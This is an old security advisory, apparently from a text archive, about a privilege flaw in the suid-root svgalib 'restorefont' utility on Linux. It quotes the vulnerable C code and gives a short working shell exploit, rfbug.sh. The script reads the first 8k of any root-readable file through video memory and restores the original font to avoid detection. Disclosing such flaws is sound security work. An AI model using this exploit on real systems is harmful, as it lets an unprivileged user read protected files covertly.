home *** CD-ROM | disk | FTP | other *** search
-
-
-
-
-
-
- Linux 'restorefont' Security Holes
-
- by FEH Staff
-
-
-
- Linux's svgalib utilities, required to be suid root, have a problem in that
-
- they do not revoke suid permissions before reading a file. This is exploited
-
- in the restorefont utility, but similar bugs exist in other svgalib utilities.
-
- The restorefont utility serves two functions. First, it will read a font from
-
- a file and write it to the console as the font. Second, it will read a font
-
- from the console and write it out to a file. Luckily, the specific bug
-
- in restorefont can only be exploited if someone is at the console, reducing
-
- its overall impact on the security of the system as a whole.
-
- In writing the utilities, the authors are cognizant of the fact that when
-
- writing out the font, suid permissions must first be given up; it is in fact
-
- commented as such in the code. However, when reading in a font, the program
-
- is still running with full suid root permissions. This allows us to read in
-
- any file for the font that root could access (basically, anything).
-
- The applicable code to read in the file is shown below:
-
-
-
- #define FONT_SIZE 8192
-
- unsigned char font[FONT_SIZE];
-
-
-
- if (argv[1][1] == 'r') {
-
- FILE *f;
-
- f = fopen(argv[2], "rb");
-
- if (f == NULL) {
-
- error:
-
- perror("restorefont");
-
- exit(1);
-
- }
-
- if(1!=fread(font, FONT_SIZE, 1, f))
-
- {
-
- if(errno)
-
- goto error;
-
- puts("restorefont: input file corrupted.");
-
- exit(1);
-
- }
-
- fclose(f);
-
-
-
- We can see from this that the file to be read in has to be at least 8k,
-
- as if it is not, the program will produce an error and exit. If the file
-
- is at least 8k, the first 8k are read into the buffer, and the program
-
- proceeds to set whatever the contents of the file are to the font:
-
- vga_disabledriverreport();
-
- vga_setchipset(VGA); /* avoid SVGA detection */
-
- vga_init();
-
- vga_setmode(G640x350x16);
-
- vga_puttextfont(font);
-
- vga_setmode(TEXT);
-
-
-
- At this point, the console will now look quite unreadable if you are
-
- reading something other than a font from that file. But, the data that
-
- is put into the font is left untouched and is readable using the -w option
-
- of restorefont. We then read the font back from video memory to a new file,
-
- and our job is complete, we have read the first 8k of a file we shouldn't
-
- have had access to. To prevent detection of having run this, we probably
-
- shouldn't leave an unreadable font on the screen, so we save and then restore
-
- the original font before reading from the file.
-
- The complete exploit is shown below:
-
-
-
- Program: restorefont, a svgalib utility
-
- Affected Operating Systems: linux
-
- Requirements: logged in at console
-
- Security Compromise: user can read first 8k of any file of at least
-
- 8k in size on local filesystems
-
- Synopsis: restorefont reads a font file while suid root,
-
- writing it to video memory as the current vga
-
- font; anyone at console can read the current
-
- font to a file, allowing you to use video memory
-
- as an 8k file buffer.
-
-
-
- rfbug.sh:
-
- #!/bin/sh
-
- restorefont -w /tmp/deffont.tmp
-
- restorefont -r $1
-
- restorefont -w $2
-
- restorefont -r /tmp/deffont.tmp
-
- rm -f /tmp/deffont.tmp
-
-